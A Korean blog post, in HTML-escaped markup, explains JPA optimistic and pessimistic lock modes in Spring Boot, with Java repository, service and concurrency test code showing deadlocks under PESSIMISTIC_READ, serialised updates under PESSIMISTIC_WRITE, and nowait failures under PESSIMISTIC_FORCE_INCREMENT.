&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;764&quot; data-origin-height=&quot;1498&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rHE0M/btr7msIOwqo/bXEGq1YcG9ucltm4Ksi991/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rHE0M/btr7msIOwqo/bXEGq1YcG9ucltm4Ksi991/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rHE0M/btr7msIOwqo/bXEGq1YcG9ucltm4Ksi991/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrHE0M%2Fbtr7msIOwqo%2FbXEGq1YcG9ucltm4Ksi991%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;252&quot; height=&quot;494&quot; data-origin-width=&quot;764&quot; data-origin-height=&quot;1498&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;444&quot; data-origin-height=&quot;151&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsmYMz/btr7fsQL08X/2cL0POk3SnQOkKPyghXWw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsmYMz/btr7fsQL08X/2cL0POk3SnQOkKPyghXWw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsmYMz/btr7fsQL08X/2cL0POk3SnQOkKPyghXWw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsmYMz%2Fbtr7fsQL08X%2F2cL0POk3SnQOkKPyghXWw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;444&quot; height=&quot;151&quot; data-origin-width=&quot;444&quot; data-origin-height=&quot;151&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Lock_Optimistic_Force_Increment_Find_All&lt;/code&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;가져온 엔티티의 모든 &lt;code&gt;Version&lt;/code&gt; 증가&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;742&quot; data-origin-height=&quot;274&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ongOC/btr7n1Yx398/eHlT1WARhHdnJAzu1Ouy40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ongOC/btr7n1Yx398/eHlT1WARhHdnJAzu1Ouy40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ongOC/btr7n1Yx398/eHlT1WARhHdnJAzu1Ouy40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FongOC%2Fbtr7n1Yx398%2FeHlT1WARhHdnJAzu1Ouy40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;439&quot; height=&quot;162&quot; data-origin-width=&quot;742&quot; data-origin-height=&quot;274&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;408&quot; data-origin-height=&quot;1274&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMhKq9/btr7mt8MS3R/QLLAKxiMymp0aL8WamfIw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMhKq9/btr7mt8MS3R/QLLAKxiMymp0aL8WamfIw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMhKq9/btr7mt8MS3R/QLLAKxiMymp0aL8WamfIw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMhKq9%2Fbtr7mt8MS3R%2FQLLAKxiMymp0aL8WamfIw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;194&quot; height=&quot;606&quot; data-origin-width=&quot;408&quot; data-origin-height=&quot;1274&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;OPTIMISTIC_FORCE_INCREMENT&lt;/code&gt; 사용 이유에 대한 stackoverflow&lt;br /&gt;&lt;a href=&quot;https://stackoverflow.com/questions/13581603/jpa-and-optimistic-locking-modes&quot;&gt;https://stackoverflow.com/questions/13581603/jpa-and-optimistic-locking-modes&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;
&lt;h1&gt;&lt;b&gt;비관적 잠금(Pessimistic Lock)&lt;/b&gt;&lt;/h1&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;aside&gt;  **비관적 락**은 실제로 데이터베이스의 락을 사용하여 동시성을 제어하는 방법 쿼리에 **`SELECT ... FOR UPDATE` 또는 `FOR SHARE`** 구문을 사용 `Version` 사용하지 않음&lt;/aside&gt;
&lt;aside&gt;&lt;/aside&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;비관적 잠금 모드&lt;/b&gt;&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;LockModeType.PESSIMISTIC_READ&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;SELECT&lt;/code&gt; 구문에 &lt;code&gt;FOR SHARE&lt;/code&gt; 구문을 추가하여 &lt;code&gt;S-Lock&lt;/code&gt; 획득&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 동시성 상황에서 &lt;code&gt;DeadLock&lt;/code&gt; 이 발생할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;kotlin&quot;&gt;&lt;code&gt;@Repository
public interface LockParentRepository extends JpaRepository&amp;lt;LockParent, Long&amp;gt; {

    @Query(&quot;SELECT lp FROM LockParent lp where lp.parentId = :parentId&quot;)
    @Lock(LockModeType.PESSIMISTIC_READ)
    LockParent findByIdPessimisticRead(@Param(&quot;parentId&quot;) Long parentId);
}

@Service
@RequiredArgsConstructor
@Transactional(readOnly = true)
@Slf4j
public class LockTestService {
    private final LockParentRepository lockParentRepository;
    private final EntityManager em;

    /**
     * PESSIMISTIC_READ 모드로 LockParent 읽은 후
     * 0.5초 대기후 count Update

     */
    @Transactional
    public void findByParentIdPessimisticReadAndUpdate(Long parentId) {
        LockParent lockParent = this.lockParentRepository.findByIdPessimisticRead(parentId);
        //0.5초 대기
        try {
            Thread.sleep(500);
        } catch (InterruptedException e) {
            throw new RuntimeException(e);
        }
        lockParent.plusCount();
    }
}

@SpringBootTest
public class LockTests {

    @Autowired
    LockTestService lockTestService;

    /**
     * PESSIMISTIC_READ 모드로 LockParent 읽은 후
     * 0.5초 대기후 count Update
     * 
     * 1. Transaction1 Select For Share 구문 수행
     * 2. Transaction2 Select For Share 구문 수행
     * 3. Transaction1 Update 수행 (Transaction2의 Shared Lock으로 인해 대기)
     * 4. Transaction2 Update 수행 (Transaction1의 Shared Lock으로 인해 대기)
     * 결과: 데드락 발생
     */
    @Test
    void Lock_Pessimistic_Read_Find_And_Update() {
        CompletableFuture&amp;lt;Void&amp;gt; task1 = CompletableFuture.runAsync(() -&amp;gt; {
            this.lockTestService.findByParentIdPessimisticReadAndUpdate(1L);
        });
        CompletableFuture&amp;lt;Void&amp;gt; task2 = CompletableFuture.runAsync(() -&amp;gt; {
            this.lockTestService.findByParentIdPessimisticReadAndUpdate(1L);
        });

        CompletableFuture.allOf(task1, task2).join();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래처럼 &lt;code&gt;SELECT&lt;/code&gt; 구문에 &lt;code&gt;FOR SHARE&lt;/code&gt; 구문이 추가되고 &lt;code&gt;DeadLock&lt;/code&gt; 발생하는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;617&quot; data-origin-height=&quot;394&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dKYyFj/btr7iJKSm57/wLv3R11xxgdtB4AcWE1z4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dKYyFj/btr7iJKSm57/wLv3R11xxgdtB4AcWE1z4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dKYyFj/btr7iJKSm57/wLv3R11xxgdtB4AcWE1z4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdKYyFj%2Fbtr7iJKSm57%2FwLv3R11xxgdtB4AcWE1z4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;422&quot; height=&quot;269&quot; data-origin-width=&quot;617&quot; data-origin-height=&quot;394&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;636&quot; data-origin-height=&quot;372&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2CNJa/btr7s23RRbS/NGYkMzYdbjCLqx3kMTK8y0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2CNJa/btr7s23RRbS/NGYkMzYdbjCLqx3kMTK8y0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2CNJa/btr7s23RRbS/NGYkMzYdbjCLqx3kMTK8y0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2CNJa%2Fbtr7s23RRbS%2FNGYkMzYdbjCLqx3kMTK8y0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;435&quot; height=&quot;254&quot; data-origin-width=&quot;636&quot; data-origin-height=&quot;372&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1152&quot; data-origin-height=&quot;279&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kyQ42/btr7s4tP6wC/UKGgN3ws9CMVIB5daQtic0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kyQ42/btr7s4tP6wC/UKGgN3ws9CMVIB5daQtic0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kyQ42/btr7s4tP6wC/UKGgN3ws9CMVIB5daQtic0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkyQ42%2Fbtr7s4tP6wC%2FUKGgN3ws9CMVIB5daQtic0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;682&quot; height=&quot;165&quot; data-origin-width=&quot;1152&quot; data-origin-height=&quot;279&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Rollback&lt;/code&gt;된 트랜잭션을 제외한 다른 트랜잭션 &lt;code&gt;UPDATE&lt;/code&gt;만 수행된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;446&quot; data-origin-height=&quot;145&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rhn7G/btr7hSBgDfQ/XlK4bAnYsni9ptOyQuaoW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rhn7G/btr7hSBgDfQ/XlK4bAnYsni9ptOyQuaoW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rhn7G/btr7hSBgDfQ/XlK4bAnYsni9ptOyQuaoW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Frhn7G%2Fbtr7hSBgDfQ%2FXlK4bAnYsni9ptOyQuaoW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;446&quot; height=&quot;145&quot; data-origin-width=&quot;446&quot; data-origin-height=&quot;145&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;LockModeType.PESSIMISTIC_WRITE&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;SELECT&lt;/code&gt; 구문에 &lt;code&gt;FOR UPDATE&lt;/code&gt; 구문을 추가하여 &lt;code&gt;X-Lock&lt;/code&gt; 획득&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;PESSIMISTIC_READ&lt;/code&gt;와 달리 &lt;code&gt;SELECT&lt;/code&gt; 구문에서 &lt;code&gt;X-Lock&lt;/code&gt;을 획득하기에 하나의 트랜잭션에서 &lt;code&gt;SELECT FOR UPDATE&lt;/code&gt;가 수행되면 다른 트랜잭션에서는 &lt;code&gt;SELECT FOR UPDATE&lt;/code&gt; 구문을 날릴 때 대기하게 된다.&lt;/p&gt;
&lt;pre class=&quot;kotlin&quot;&gt;&lt;code&gt;@Repository
public interface LockParentRepository extends JpaRepository&amp;lt;LockParent, Long&amp;gt; {
    @Query(&quot;SELECT lp FROM LockParent lp where lp.parentId = :parentId&quot;)
    @Lock(LockModeType.PESSIMISTIC_WRITE)
    LockParent findByIdPessimisticWrite(@Param(&quot;parentId&quot;) Long parentId);
}

@Service
@RequiredArgsConstructor
@Transactional(readOnly = true)
@Slf4j
public class LockTestService {
    private final LockParentRepository lockParentRepository;
    private final EntityManager em;

    /**
     * PESSIMISTIC_WRITE 모드로 LockParent 읽은 후
     * 0.5초 대기후 count Update
     */
    @Transactional
    public void findByParentIdPessimisticWriteAndUpdate(Long parentId) {
        LockParent lockParent = this.lockParentRepository.findByIdPessimisticWrite(parentId);
        //0.5초 대기
        try {
            Thread.sleep(500);
        } catch (InterruptedException e) {
            throw new RuntimeException(e);
        }
        lockParent.plusCount();
    }
}

@SpringBootTest
public class LockTests {
    @Autowired
    LockTestService lockTestService;

    /**
     * PESSIMISTIC_WRITE 모드로 LockParent 읽은 후
     * 0.5초 대기후 count Update
     *
     * 1.Transaction1 Select For Update 구문 수행
     * 2.Transaction2 Select For Update 구문 수행 (Transaction1 X-Lock으로 인해 대기)
     * 3.Transaction3 Select For Update 구문 수행 (Transaction1 X-Lock으로 인해 대기)
     * 4.Transaction1 Update 수행(X-lock 해제)
     * 5.Transaction2 Update 수행
     * 6.Transaction3 Update 수행
     * 결과: 3개의 트랜잭션 정상 처리
     */
    @Test
    void Lock_Pessimistic_Write_Find_And_Update() {
        CompletableFuture&amp;lt;Void&amp;gt; task1 = CompletableFuture.runAsync(() -&amp;gt; {
            this.lockTestService.findByParentIdPessimisticWriteAndUpdate(1L);
        });
        CompletableFuture&amp;lt;Void&amp;gt; task2 = CompletableFuture.runAsync(() -&amp;gt; {
            this.lockTestService.findByParentIdPessimisticWriteAndUpdate(1L);
        });
        CompletableFuture&amp;lt;Void&amp;gt; task3 = CompletableFuture.runAsync(() -&amp;gt; {
            this.lockTestService.findByParentIdPessimisticWriteAndUpdate(1L);
        });

        CompletableFuture.allOf(task1, task2, task3).join();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;639&quot; data-origin-height=&quot;553&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Movbn/btr7hTfRhiB/CcbkMlcoCqQWYEKkiKS7B1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Movbn/btr7hTfRhiB/CcbkMlcoCqQWYEKkiKS7B1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Movbn/btr7hTfRhiB/CcbkMlcoCqQWYEKkiKS7B1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMovbn%2Fbtr7hTfRhiB%2FCcbkMlcoCqQWYEKkiKS7B1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;453&quot; height=&quot;392&quot; data-origin-width=&quot;639&quot; data-origin-height=&quot;553&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;304&quot; data-origin-height=&quot;662&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dsrVjP/btr7f0GSn9T/wBmahPPzVK7PGYJFOcPUm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dsrVjP/btr7f0GSn9T/wBmahPPzVK7PGYJFOcPUm1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dsrVjP/btr7f0GSn9T/wBmahPPzVK7PGYJFOcPUm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdsrVjP%2Fbtr7f0GSn9T%2FwBmahPPzVK7PGYJFOcPUm1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;206&quot; height=&quot;449&quot; data-origin-width=&quot;304&quot; data-origin-height=&quot;662&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;295&quot; data-origin-height=&quot;136&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cuuH4J/btr7hUFQuL9/CgjkNHDly9QEnAF15ZJs9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cuuH4J/btr7hUFQuL9/CgjkNHDly9QEnAF15ZJs9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cuuH4J/btr7hUFQuL9/CgjkNHDly9QEnAF15ZJs9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcuuH4J%2Fbtr7hUFQuL9%2FCgjkNHDly9QEnAF15ZJs9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;295&quot; height=&quot;136&quot; data-origin-width=&quot;295&quot; data-origin-height=&quot;136&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;LockModeType.PESSIMISTIC_FORCE_INCREMENT&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;PESSMISTIC_WRITE&lt;/code&gt;와 동일하게 &lt;code&gt;FOR UPDATE&lt;/code&gt; 구문이 추가되고 더불어 &lt;b&gt;&lt;code&gt;OPTIMISTIC_FORCE_INCREMENT&lt;/code&gt;&lt;/b&gt; 모드처럼 버전을 사용하면서 &lt;b&gt;엔티티를 읽기만 해도 &lt;code&gt;Version&lt;/code&gt;을 업데이트 한다&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;kotlin&quot;&gt;&lt;code&gt;@Repository
public interface LockParentRepository extends JpaRepository&amp;lt;LockParent, Long&amp;gt; {

    @Query(&quot;SELECT lp FROM LockParent lp join fetch lp.lockChildren where lp.parentId = :parentId&quot;)
    @Lock(LockModeType.PESSIMISTIC_FORCE_INCREMENT)
    LockParent findByIdPessimisticForceIncrement(@Param(&quot;parentId&quot;) Long parentId);
}

@Service
@RequiredArgsConstructor
@Transactional(readOnly = true)
@Slf4j
public class LockTestService {
    private final LockParentRepository lockParentRepository;
    private final EntityManager em;

    @Transactional
    public void findByParentByIdWithChildPessimisticForceIncrement(Long parentId) {
        LockParent lockParent = this.lockParentRepository.findByIdPessimisticForceIncrement(parentId);
    }
}

@SpringBootTest
public class LockTests {
    @Autowired
    LockTestService lockTestService;

    @Test
    void Lock_Pessimistic_Force_Increment_Find() {
        this.lockTestService.findByParentByIdWithChildPessimisticForceIncrement(1L);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;986&quot; data-origin-height=&quot;794&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2QB7V/btr7hRoPX4g/Xj2NeHLhOEn1STtmJ6Egs0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2QB7V/btr7hRoPX4g/Xj2NeHLhOEn1STtmJ6Egs0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2QB7V/btr7hRoPX4g/Xj2NeHLhOEn1STtmJ6Egs0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2QB7V%2Fbtr7hRoPX4g%2FXj2NeHLhOEn1STtmJ6Egs0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;504&quot; height=&quot;406&quot; data-origin-width=&quot;986&quot; data-origin-height=&quot;794&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;402&quot; data-origin-height=&quot;802&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c1dvLo/btr7d8kYd0e/09Hqhc2hJeEwKBvNZSUQQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c1dvLo/btr7d8kYd0e/09Hqhc2hJeEwKBvNZSUQQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c1dvLo/btr7d8kYd0e/09Hqhc2hJeEwKBvNZSUQQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc1dvLo%2Fbtr7d8kYd0e%2F09Hqhc2hJeEwKBvNZSUQQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;250&quot; height=&quot;499&quot; data-origin-width=&quot;402&quot; data-origin-height=&quot;802&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Mysql 8.0&lt;/code&gt; 버전부터 &lt;code&gt;nowait&lt;/code&gt;을 지원하는데 &lt;b&gt;&lt;i&gt;&lt;code&gt;PESSIMISTIC_FORCE_INCREMENT&lt;/code&gt; 모드는 &lt;code&gt;nowait&lt;/code&gt;을 지원할 경우&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿼리에 &lt;code&gt;nowait&lt;/code&gt; 포함하여 쿼리를 수행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;nowait&lt;/code&gt; : 쿼리를 실행하며, &lt;code&gt;lock&lt;/code&gt;이 걸린 부분이 있다면, 기다리지 않고 실패를 시킨다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 쿼리를 동시에 3번 수행하고 &lt;code&gt;nowait&lt;/code&gt; 에러가 발생하는 상황이다.&lt;/p&gt;
&lt;pre class=&quot;livescript&quot;&gt;&lt;code&gt;@Test
    void Lock_Pessimistic_Force_Increment_Find() {
        CompletableFuture&amp;lt;Void&amp;gt; task1 = CompletableFuture.runAsync(() -&amp;gt; {
            this.lockTestService.findByParentByIdWithChildPessimisticForceIncrement(1L);
        });
        CompletableFuture&amp;lt;Void&amp;gt; task2 = CompletableFuture.runAsync(() -&amp;gt; {
            this.lockTestService.findByParentByIdWithChildPessimisticForceIncrement(1L);
        });
        CompletableFuture&amp;lt;Void&amp;gt; task3 = CompletableFuture.runAsync(() -&amp;gt; {
            this.lockTestService.findByParentByIdWithChildPessimisticForceIncrement(1L);
        });

        CompletableFuture.allOf(task1, task2, task3).join();
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2188&quot; data-origin-height=&quot;488&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l1Yth/btr7iK34QMX/FBpcXbX0bqVv4Yx5dximmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l1Yth/btr7iK34QMX/FBpcXbX0bqVv4Yx5dximmk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l1Yth/btr7iK34QMX/FBpcXbX0bqVv4Yx5dximmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl1Yth%2Fbtr7iK34QMX%2FFBpcXbX0bqVv4Yx5dximmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;784&quot; height=&quot;175&quot; data-origin-width=&quot;2188&quot; data-origin-height=&quot;488&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;/blockquote&gt;
